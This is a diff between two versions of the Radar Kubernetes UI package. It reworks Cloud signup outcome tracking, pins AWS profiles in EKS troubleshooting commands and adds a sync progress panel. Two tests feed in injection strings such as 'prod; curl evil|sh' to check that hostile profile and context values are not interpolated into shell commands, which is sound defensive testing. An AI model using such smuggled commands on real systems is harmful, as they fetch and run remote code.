@skyhook-io/radar-app 1.13.4 → 1.14.0

package/src/components/CloudFunnelButton.tsx

@@ -5,6 +5,14 @@ import { Collapse, CollapseChevron } from '@skyhook-io/k8s-ui/components/ui/Coll
 import { DialogPortal } from '@skyhook-io/k8s-ui/components/ui/DialogPortal'
 import { Tooltip } from './ui/Tooltip'
 import { CloudConnectFlow } from './CloudConnectFlow'
+import {
+  type Handoff,
+  exitFor,
+  handoffForBlocked,
+  handoffForPrepareError,
+  isHandoffOutcome,
+  signupUrlFor as buildSignupUrl,
+} from './cloudConnectHandoff'
 import { showApiError } from './ui/Toast'
 import {
   ApiError,
@@ -27,8 +35,10 @@ import {
 //
 // The only outbound call is the Hub's own copy, fetched when the dialog opens
 // (never on a poll or a timer) and falling back per-field to the constants
-// below. Conversion is otherwise measured on the receiving end: utm_content
-// distinguishes which lane sent the user.
+// below. The request names the lane the footer renders and where this Radar
+// runs, both closed enums. The links into the Hub carry utm_content naming
+// the link that was clicked and, after an in-app attempt that did not connect,
+// radar_outcome saying what happened; see cloudConnectHandoff.ts.
 const FALLBACK_APP_URL = 'https://app.radarhq.io'
 
 // Rendered until (or unless) the Hub states its own. Keeping the compiled-in
@@ -47,7 +57,15 @@ const DEFAULT_ASSURANCES = [
   'SOC 2 Type II',
   '3 clusters free, no card required',
 ]
-const SIGNUP_QUERY = '?utm_source=radar-oss&utm_medium=app&utm_campaign=cloud-modal'
+// Other OSS surfaces (a GitOps app that deploys to another cluster, say)
+// point at Radar Cloud by asking this button to open its dialog, so there
+// is one pitch and one flow. The button is mounted whenever Radar runs
+// standalone; embedded hosts never mount it and never dispatch this.
+const OPEN_EVENT = 'radar:open-cloud-funnel'
+
+export function openCloudFunnel() {
+  window.dispatchEvent(new Event(OPEN_EVENT))
+}
 const ABOUT_URL = 'https://radarhq.io/about'
 const PRICING_URL = 'https://radarhq.io/pricing'
 const SELF_HOSTED_DOCS_URL = 'https://radarhq.io/docs/cloud/self-hosted/'
@@ -79,25 +97,33 @@ export function CloudFunnelButton() {
   const [seen, setSeen] = useState(readSeen)
   const [inFlowView, setInFlowView] = useState(false)
   const [blocked, setBlocked] = useState<CloudInstallBlocked | null>(null)
-  // Set once an in-app attempt has actually failed, so the CTA reads "Try
-  // again" instead of implying a first attempt. Survives closing the modal
-  // (the failure belongs to the cluster, not the dialog session) but not a
-  // reload, and is reset below when the kubeconfig context changes — it must
-  // never describe a cluster the user has switched away from.
-  const [prepareFailed, setPrepareFailed] = useState(false)
+  // Set once an in-app attempt has ended without connecting, naming what
+  // happened (a flow failure kind, a blocked plan, a canceled plan, or the
+  // prepare call itself failing) and whether it is worth trying again. It
+  // relabels the CTA "Try again" for a retryable failure and lets the browser
+  // link say what the person is coming from. Survives closing the modal (the
+  // outcome belongs to the cluster, not the dialog session) but not a reload,
+  // and is reset below when the kubeconfig context changes — it must never
+  // describe a cluster the user has switched away from.
+  const [handoff, setHandoff] = useState<Handoff | null>(null)
+  const prepareFailed = handoff?.retryable ?? false
 
   const capabilities = useCapabilities()
   const lane = capabilities.data?.cloudConnect?.lane ?? 'wizard'
   const appUrl = capabilities.data?.cloudConnect?.appUrl || FALLBACK_APP_URL
-  // utm_content distinguishes the lane that opened the Hub — measured Hub-side
-  // only when the user actually navigates there; Radar transmits nothing.
-  const signupUrlFor = (content: string) => `${appUrl}/signup${SIGNUP_QUERY}&utm_content=${content}`
-  const signupUrl = signupUrlFor('funnel-cta')
+  // utm_content names the link that was clicked. It travels only in the link
+  // the user opens; Radar sends nothing on its own. Only the blocked card may
+  // deep-link the install page (see exitFor); the pitch buttons and the
+  // footer link go to signup.
+  const signupUrl = buildSignupUrl(appUrl, 'wizard-signup-button')
 
   // Only while the dialog is open — never on the capabilities poll. The Hub
   // learns that someone opened it, which is congruent with what the dialog is
   // for; it must not learn that Radar is merely running.
-  const connectInfo = useCloudConnectInfo(capabilities.data?.cloudConnect?.apiUrl, open)
+  const connectInfo = useCloudConnectInfo(capabilities.data?.cloudConnect?.apiUrl, open, {
+    lane,
+    mode: capabilities.data?.deployment?.mode,
+  })
 
   // In-cluster Radar can't install its own connection, but it knows exactly
   // which install it is — so the wizard link can carry the real target, and a
@@ -135,7 +161,7 @@ export function CloudFunnelButton() {
       // Anything else failed before a flow existed. Return to the pitch rather
       // than leaving the flow view armed, where a later status change would
       // pull the user into a screen they did not ask for.
-      exitFlow(true)
+      exitFlow(handoffForPrepareError(err))
       showApiError('Could not inspect this cluster for Cloud connect', err instanceof Error ? err.message : undefined)
     },
     // No meta.errorMessage: the global handler cannot tell a single-flight 409
@@ -153,33 +179,65 @@ export function CloudFunnelButton() {
 
   const startConnect = () => {
     setBlocked(null)
-    setPrepareFailed(false)
+    setHandoff(null)
     setInFlowView(true)
     prepare.mutate()
   }
 
-  // A flow that ended in failure returns to a pitch whose CTA must not read
-  // like a first attempt. The caller passes the outcome because dismissing
-  // already overwrote the status by this point.
-  const exitFlow = (failed = false) => {
-    if (failed) setPrepareFailed(true)
+  // A flow that ended without connecting returns to a pitch whose CTA must
+  // not read like a first attempt, and whose browser link knows what happened.
+  // The caller passes the outcome because dismissing already overwrote the
+  // status by this point. Every exit sets it, null included, so a connected
+  // flow clears what an earlier attempt left behind.
+  const exitFlow = (outcome: Handoff | null = null) => {
+    setHandoff(outcome)
     setInFlowView(false)
     setBlocked(null)
   }
 
+  // What the person is coming from. A blocked plan is read from local state,
+  // not the status: the status query keeps serving its last polled value
+  // (idle, usually) while the blocked view is up. A blocked plan counts as an
+  // attempt: the user tried the in-app path and was refused, and the wizard
+  // is the right next step for a GitOps-owned install. A failed flow carries
+  // the server's kind and its own verdict on retrying — the failed card
+  // already honors retrySafe, and the pitch must not contradict it two clicks
+  // later. Leaving a live plan is the user canceling it, not a failure. Only
+  // a connected flow, or no flow at all, leaves nothing to carry.
+  const outcomeOf = (st: CloudInstallStatus): Handoff | null => {
+    if (blocked) return handoffForBlocked(blocked.reason, blocked.attempted)
+    if (st.state === 'failed') {
+      return {
+        outcome: isHandoffOutcome(st.failure?.kind) ? st.failure.kind : 'failure_kind_unknown',
+        retryable: st.failure?.retrySafe ?? false,
+      }
+    }
+    if (st.state === 'blocked' && st.blocked) return handoffForBlocked(st.blocked.reason, st.blocked.attempted)
+    if (st.state === 'connected' || st.state === 'idle') return null
+    return { outcome: 'install_plan_canceled', retryable: false }
+  }
+
+  useEffect(() => {
+    window.addEventListener(OPEN_EVENT, openModal)
+    return () => window.removeEventListener(OPEN_EVENT, openModal)
+  })
+
   // Re-attach to a server-owned flow whenever one is observed while the modal
   // is open — the status query may resolve after openModal ran.
   useEffect(() => {
     if (open && lane === 'driver' && flowLive) setInFlowView(true)
   }, [open, lane, flowLive])
 
-  // prepareFailed outlives the dialog but must not outlive the cluster it
-  // describes: a context switch swaps every query cache, yet this component
-  // stays mounted, so without the reset cluster A's failure would relabel the
-  // CTA for cluster B.
+  // handoff and a blocked plan outlive the dialog but must not outlive the
+  // cluster they describe: a context switch swaps every query cache, yet this
+  // component stays mounted, so without the reset cluster A's outcome would
+  // relabel the CTA (and the link) for cluster B, and a blocked view left
+  // armed would reopen on B with A's refusal, feeding it back into the
+  // outcome on Back.
   const contextName = useClusterInfo().data?.context
   useEffect(() => {
-    setPrepareFailed(false)
+    setHandoff(null)
+    setBlocked(null)
   }, [contextName])
 
   // The server owns the "nothing to pitch" decision: an already-tunneled
@@ -248,9 +306,9 @@ export function CloudFunnelButton() {
             <CloudConnectFlow
               status={flowForView}
               blocked={blocked}
-              signupUrl={signupUrlFor('flow-escape')}
+              exit={exitFor(appUrl, 'driver-blocked-card-browser-link', outcomeOf(flowForView))}
               onStatus={applyStatus}
-              onExit={() => exitFlow(flowForView.state === 'failed')}
+              onExit={() => exitFlow(outcomeOf(flowForView))}
             />
           </div>
         ) : (
@@ -261,10 +319,12 @@ export function CloudFunnelButton() {
             <ModalFooter
               lane={lane}
               signupUrl={signupUrl}
-              // driver-escape after a failed attempt, driver-alt before one, so
-              // the Hub can tell "prefers the browser" from "app path broke".
-              driverEscapeUrl={signupUrlFor(prepareFailed ? 'driver-escape' : 'driver-alt')}
+              // One link name whether or not an attempt preceded the click; the
+              // outcome, when present, is what says an attempt happened.
+              driverBrowserUrl={buildSignupUrl(appUrl, 'driver-footer-browser-link', handoff)}
               prepareFailed={prepareFailed}
+              // A prepare error's reason, kept on the pitch after its toast is gone.
+              prepareError={handoff?.detail}
               assurances={connectInfo.data?.assurances}
               notice={connectInfo.data?.notice}
               self={inCluster ? self.data : undefined}
@@ -316,8 +376,9 @@ function Eyebrow() {
 function ModalFooter({
   lane,
   signupUrl,
-  driverEscapeUrl,
+  driverBrowserUrl,
   prepareFailed,
+  prepareError,
   assurances,
   notice,
   self,
@@ -327,10 +388,11 @@ function ModalFooter({
 }: {
   lane: 'driver' | 'wizard'
   signupUrl: string
-  // Same destination as signupUrl, distinct utm_content: the caller encodes
-  // whether this render follows a failed in-app attempt.
-  driverEscapeUrl: string
+  // Same destination as signupUrl, distinct utm_content, and the outcome of
+  // an in-app attempt when one preceded this render.
+  driverBrowserUrl: string
   prepareFailed: boolean
+  prepareError?: string
   // Live copy from the Hub; undefined until (or unless) it arrives.
   assurances?: string[]
   notice?: string
@@ -409,7 +471,7 @@ function ModalFooter({
                 a recovery path — install-averse operators need the door before
                 anything fails, or they close the modal instead. */}
             <a
-              href={driverEscapeUrl}
+              href={driverBrowserUrl}
               target="_blank"
               rel="noopener noreferrer"
               className="whitespace-nowrap text-[12.5px] text-theme-text-secondary hover:text-theme-text-primary hover:underline underline-offset-2 transition-colors"
@@ -433,6 +495,15 @@ function ModalFooter({
           Maybe later
         </button>
       </div>
+      {/* The last attempt's stop, when Radar could not even inspect the
+          cluster: the toast that first said so is gone in seconds, and "Try
+          again" alone does not say what to try again for. The footer link
+          above is the way around it. */}
+      {lane === 'driver' && prepareError && (
+        <p className="mt-2.5 text-[11.5px] leading-relaxed text-amber-600 dark:text-amber-400">
+          Radar couldn’t inspect this cluster: {prepareError}
+        </p>
+      )}
       {/* Mechanics, not marketing: a falsifiable claim the plan card then
           fulfills. Sits next to the button whose click it de-risks. */}
       {lane === 'driver' && (

package/src/components/ConnectionErrorView.test.tsx

@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
     expect(hints.fallbackCommand?.command).toBe('aws sso login')
   })
 
+  it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const profile = 'myorg/prod/admin'
+
+    const rejected = getAuthRejectedHints(context, profile)
+    expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(rejected.authCommand?.command).toBe(
+      'aws sts get-caller-identity --profile myorg/prod/admin && aws eks describe-cluster --name prod --region us-east-1 --profile myorg/prod/admin --query cluster.accessConfig.authenticationMode --output text',
+    )
+    expect(rejected.hints.join(' ')).not.toContain("terminal's current AWS profile")
+
+    const auth = selectConnectionHints('auth', context, undefined, profile)
+    expect(auth?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(auth?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
+
+    const timeout = selectConnectionHints('timeout', context, undefined, profile)
+    expect(timeout?.authCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
+    expect(timeout?.fallbackCommand?.command).toBe('aws eks update-kubeconfig --name prod --region us-east-1 --profile myorg/prod/admin')
+  })
+
+  it('drops a hostile AWS profile instead of interpolating it', () => {
+    const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
+    const hints = getAuthRejectedHints(context, 'prod; curl evil|sh')
+
+    expect(hints.fallbackCommand?.command).toBe('aws sso login')
+    expect(hints.authCommand?.command).toBe(
+      'aws sts get-caller-identity && aws eks describe-cluster --name prod --region us-east-1 --query cluster.accessConfig.authenticationMode --output text',
+    )
+  })
+
   it('does not offer interpolated commands for hostile GKE context values', () => {
     const hints = getAuthRejectedHints('gke_project_us-east1_prod;curl evil|sh')
 

package/src/components/ConnectionErrorView.tsx

@@ -6,7 +6,7 @@ import { parseContextName } from '../utils/context-name'
 import { useOpenLocalTerminal, ClusterName } from '@skyhook-io/k8s-ui'
 import { useAuthMe, useContexts } from '../api/client'
 import { Tooltip } from './ui/Tooltip'
-import { allShellSafe } from '../utils/shell-safe'
+import { allShellSafe, awsProfileFlag } from '../utils/shell-safe'
 import { apiUrl } from '../api/config'
 import { useCapabilitiesContext } from '../contexts/CapabilitiesContext'
 
@@ -33,7 +33,7 @@ interface AuthHints {
   hideAuthButton?: boolean
 }
 
-function getAuthHints(context: string): AuthHints {
+function getAuthHints(context: string, awsProfile?: string): AuthHints {
   const parsed = parseContextName(context)
 
   switch (parsed.provider) {
@@ -54,18 +54,19 @@ function getAuthHints(context: string): AuthHints {
       return result
     }
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'EKS Authentication Failed',
         hints: [
           'Radar could not get AWS credentials for this context.',
           'For AWS SSO contexts, the SSO session may need login.',
         ],
-        authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: 'aws sso login' },
+        authCommand: { label: 'If this context uses AWS SSO, refresh credentials:', command: `aws sso login${profileFlag}` },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that doesn\'t work, refresh cluster credentials:',
-          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
+          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
         }
       }
       return result
@@ -88,26 +89,34 @@ function getAuthHints(context: string): AuthHints {
   }
 }
 
-export function getAuthRejectedHints(context: string): AuthHints {
+export function getAuthRejectedHints(context: string, awsProfile?: string): AuthHints {
   const parsed = parseContextName(context)
 
   switch (parsed.provider) {
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'EKS Could Not Authenticate This Request',
         hints: [
           'EKS returned HTTP 401, so Kubernetes could not authenticate this request.',
           'The AWS credential may be missing, stale, or revoked, or its IAM principal may not be mapped through an EKS access entry or the cluster\'s legacy aws-auth configuration.',
           'If the credential is current, ask a cluster admin to verify the mapping for the IAM principal used by this context.',
-          'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
+          profileFlag
+            ? 'The commands below use the AWS profile pinned by this context\'s kubeconfig exec block. If it also pins --role-arn, inspect that role instead.'
+            : 'The diagnostic uses the terminal\'s current AWS profile. If the kubeconfig exec block pins AWS_PROFILE or --role-arn, use that profile or role instead.',
           'API and API_AND_CONFIG_MAP modes use access entries; CONFIG_MAP mode uses the aws-auth ConfigMap.',
         ],
-        fallbackCommand: { label: 'If this context uses the current AWS SSO profile, re-login and retry:', command: 'aws sso login' },
+        fallbackCommand: {
+          label: profileFlag ? 'If this profile uses AWS SSO, re-login and retry:' : 'If this context uses the current AWS SSO profile, re-login and retry:',
+          command: `aws sso login${profileFlag}`,
+        },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.authCommand = {
-          label: 'Inspect the caller and authentication mode for the current terminal AWS profile:',
-          command: `aws sts get-caller-identity && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region} --query cluster.accessConfig.authenticationMode --output text`,
+          label: profileFlag
+            ? 'Inspect the caller and authentication mode for the pinned AWS profile:'
+            : 'Inspect the caller and authentication mode for the current terminal AWS profile:',
+          command: `aws sts get-caller-identity${profileFlag} && aws eks describe-cluster --name ${parsed.clusterName} --region ${parsed.region}${profileFlag} --query cluster.accessConfig.authenticationMode --output text`,
         }
         // A diagnostic, not a re-auth — the "Authenticate in terminal" button
         // would misrepresent what running it does.
@@ -167,7 +176,7 @@ function getAuthPluginStuckHints(): AuthHints {
   }
 }
 
-function getTimeoutHints(context: string): AuthHints | null {
+function getTimeoutHints(context: string, awsProfile?: string): AuthHints | null {
   const parsed = parseContextName(context)
   const baseHints = [
     'The Kubernetes API did not respond before the deadline.',
@@ -192,15 +201,16 @@ function getTimeoutHints(context: string): AuthHints | null {
       return result
     }
     case 'EKS': {
+      const profileFlag = awsProfileFlag(awsProfile)
       const result: AuthHints = {
         title: 'Connection Timed Out',
         hints: [...baseHints, 'If the endpoint is reachable, AWS credentials or SSO may need refresh.'],
-        authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: 'aws sso login' },
+        authCommand: { label: 'If this context uses AWS SSO and network access looks healthy, refresh credentials:', command: `aws sso login${profileFlag}` },
       }
       if (parsed.region && allShellSafe(parsed.clusterName, parsed.region)) {
         result.fallbackCommand = {
           label: 'If that does not work, refresh cluster credentials:',
-          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}`,
+          command: `aws eks update-kubeconfig --name ${parsed.clusterName} --region ${parsed.region}${profileFlag}`,
         }
       }
       return result
@@ -322,17 +332,17 @@ export function CopyableCommand({ command, onRunInTerminal }: { command: string;
   )
 }
 
-export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string): AuthHints | null {
+export function selectConnectionHints(errorType: string | undefined, context: string, originalContext?: string, awsProfile?: string): AuthHints | null {
   const parsedContext = originalContext || context
   switch (errorType) {
     case 'auth':
-      return getAuthHints(parsedContext)
+      return getAuthHints(parsedContext, awsProfile)
     case 'auth-rejected':
-      return getAuthRejectedHints(parsedContext)
+      return getAuthRejectedHints(parsedContext, awsProfile)
     case 'auth-plugin-stuck':
       return getAuthPluginStuckHints()
     case 'timeout':
-      return getTimeoutHints(parsedContext)
+      return getTimeoutHints(parsedContext, awsProfile)
     default:
       return null
   }
@@ -344,9 +354,11 @@ export function ConnectionErrorView({ connection, onRetry, isRetrying }: Connect
   const isAuthRejected = connection.errorType === 'auth-rejected'
   const isAuthPluginStuck = connection.errorType === 'auth-plugin-stuck'
   const isAuthError = isAuth || isAuthRejected || isAuthPluginStuck
-  const { data: contexts } = useContexts()
-  const originalContext = contexts?.find((context) => context.name === connection.context)?.originalName
-  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext)
+  const { data: contexts, isLoading: contextsLoading } = useContexts()
+  const matchedContext = contexts?.find((context) => context.name === connection.context)
+  const originalContext = matchedContext?.originalName
+  const awsProfile = contextsLoading ? undefined : matchedContext?.awsProfile
+  const commandInfo = selectConnectionHints(connection.errorType, connection.context || '', originalContext, awsProfile)
   const errorInfo = commandInfo || errorHints[connection.errorType || 'unknown'] || errorHints.unknown
   const openLocalTerminal = useOpenLocalTerminal()
   const { data: authMe } = useAuthMe()

package/src/components/SyncProgressPanel.tsx

@@ -0,0 +1,73 @@
+import { useMemo } from 'react'
+import { Loader2, ArrowRight } from 'lucide-react'
+import { StatusDot } from '@skyhook-io/k8s-ui'
+import type { SyncStatusSnapshot } from '../api/client'
+
+// Shown in place of views that need the full cluster dataset while the
+// initial informer sync is still running. Resource views for already-synced
+// kinds work during this window — the per-kind list doubles as the map of
+// what's usable right now.
+export function SyncProgressPanel({
+  syncStatus,
+  onNavigateToKind,
+}: {
+  syncStatus: SyncStatusSnapshot
+  onNavigateToKind: (key: string) => void
+}) {
+  const total = syncStatus.criticalTotal + syncStatus.deferredTotal
+  const synced = syncStatus.criticalSynced + syncStatus.deferredSynced
+  const kinds = useMemo(
+    () => [...syncStatus.kinds].sort((a, b) => {
+      // Ready first, failed last, both alphabetical within their group.
+      const rank = (k: typeof a) => (k.synced ? 0 : k.failed ? 2 : 1)
+      if (rank(a) !== rank(b)) return rank(a) - rank(b)
+      return a.kind.localeCompare(b.kind)
+    }),
+    [syncStatus.kinds],
+  )
+  const failedCount = useMemo(
+    () => syncStatus.kinds.filter((k) => k.failed).length,
+    [syncStatus.kinds],
+  )
+
+  return (
+    <div className="flex-1 flex items-center justify-center overflow-y-auto bg-theme-base">
+      <div className="max-w-xl w-full px-8 py-10">
+        <div className="flex items-center gap-3 mb-1">
+          <Loader2 className="w-5 h-5 animate-spin text-theme-text-tertiary" />
+          <h2 className="text-lg font-semibold text-theme-text-primary">Loading cluster data</h2>
+        </div>
+        <p className="text-sm text-theme-text-secondary mb-6">
+          {synced} of {total} resource types ready — views open as their data finishes loading.
+          This view needs the full dataset and will appear automatically.
+          {failedCount > 0 && (
+            <span className="block mt-1 text-red-400">
+              {failedCount} resource {failedCount === 1 ? 'type' : 'types'} failed to load within the
+              sync deadline — affected views will show an error. Retry the connection to try again.
+            </span>
+          )}
+        </p>
+        <div className="card-inner grid grid-cols-2 gap-x-6 gap-y-1.5 max-h-80 overflow-y-auto">
+          {kinds.map((k) => (
+            <div key={k.key} className="flex items-center gap-2 min-w-0 text-sm">
+              <StatusDot tone={k.synced ? 'healthy' : k.failed ? 'unhealthy' : 'neutral'} size="sm" className="shrink-0" />
+              {k.synced ? (
+                <button
+                  onClick={() => onNavigateToKind(k.key)}
+                  className="group flex items-center gap-1 min-w-0 text-theme-text-primary hover:text-theme-brand transition-colors"
+                >
+                  <span className="truncate">{k.kind}</span>
+                  <ArrowRight className="w-3 h-3 opacity-0 group-hover:opacity-100 transition-opacity shrink-0" />
+                </button>
+              ) : k.failed ? (
+                <span className="truncate text-red-400">{k.kind} — failed</span>
+              ) : (
+                <span className="truncate text-theme-text-tertiary animate-pulse">{k.kind}</span>
+              )}
+            </div>
+          ))}
+        </div>
+      </div>
+    </div>
+  )
+}

package/src/components/audit/AuditView.tsx

@@ -124,6 +124,8 @@ function BestPracticesView({ namespaces, onNavigateToResource }: AuditViewProps)
         checks={data.groupedChecks ?? []}
         catalog={data.checks ?? {}}
         anyData
+        evaluated={data.summary.passing + data.summary.warning + data.summary.danger}
+        missingInputs={data.missingInputs}
         onResourceClick={onResourceClick}
         onHideCheck={canEdit ? hideCheck : undefined}
         onHideCategory={canEdit ? hideCategory : undefined}